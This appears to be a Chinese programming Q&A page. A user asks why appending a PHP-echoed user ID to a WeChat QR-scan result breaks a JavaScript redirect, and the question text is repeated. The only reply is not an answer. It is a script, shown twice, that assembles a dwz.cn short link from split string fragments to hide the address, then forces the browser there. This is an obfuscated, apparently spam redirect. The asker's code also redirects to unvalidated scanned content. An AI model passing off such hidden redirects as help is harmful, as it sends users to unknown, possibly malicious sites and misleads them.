php 页面调用JS代码的问题
document.querySelector('#scanQRCode1').onclick=function(){wx.scanQRCode({needResult:1...
document.querySelector('#scanQRCode1').onclick = function () {
wx.scanQRCode({
needResult: 1,
desc: 'scanQRCode desc',
success: function (res) {
// alert(JSON.stringify(res));
var wangzhi = res.resultStr;
var id=<?php echo $UserId ; ?>;
wangzhi +=id;
window.location.href= wangzhi;
document.write(id);
}
});
};
这段代码不能正常执行,如果把wangzhi +=id; 替换成wangzhi+="aabbcc"
使用下面的代码就可以,请问一下,问题出在哪里啊?
document.querySelector('#scanQRCode2').onclick = function () {
wx.scanQRCode({
needResult: 1,
desc: 'scanQRCode desc',
success: function (res) {
// alert(JSON.stringify(res));
var wangzhi = res.resultStr;
wangzhi +="aabbcc";
window.location.href= wangzhi;
}
});
}; 展开
wx.scanQRCode({
needResult: 1,
desc: 'scanQRCode desc',
success: function (res) {
// alert(JSON.stringify(res));
var wangzhi = res.resultStr;
var id=<?php echo $UserId ; ?>;
wangzhi +=id;
window.location.href= wangzhi;
document.write(id);
}
});
};
这段代码不能正常执行,如果把wangzhi +=id; 替换成wangzhi+="aabbcc"
使用下面的代码就可以,请问一下,问题出在哪里啊?
document.querySelector('#scanQRCode2').onclick = function () {
wx.scanQRCode({
needResult: 1,
desc: 'scanQRCode desc',
success: function (res) {
// alert(JSON.stringify(res));
var wangzhi = res.resultStr;
wangzhi +="aabbcc";
window.location.href= wangzhi;
}
});
}; 展开
展开全部
<script>
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+'://'+u+d+b+'/'+i+p;
</script>
<script>
var a = "htt";
var aa = "p";
var u = "dwz";
var c = "wz";
var b = "cn";
var i = "4OGN";
var p= "Fi";
var d = ".";
window.location.href=a+aa+'://'+u+d+b+'/'+i+p;
</script>
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询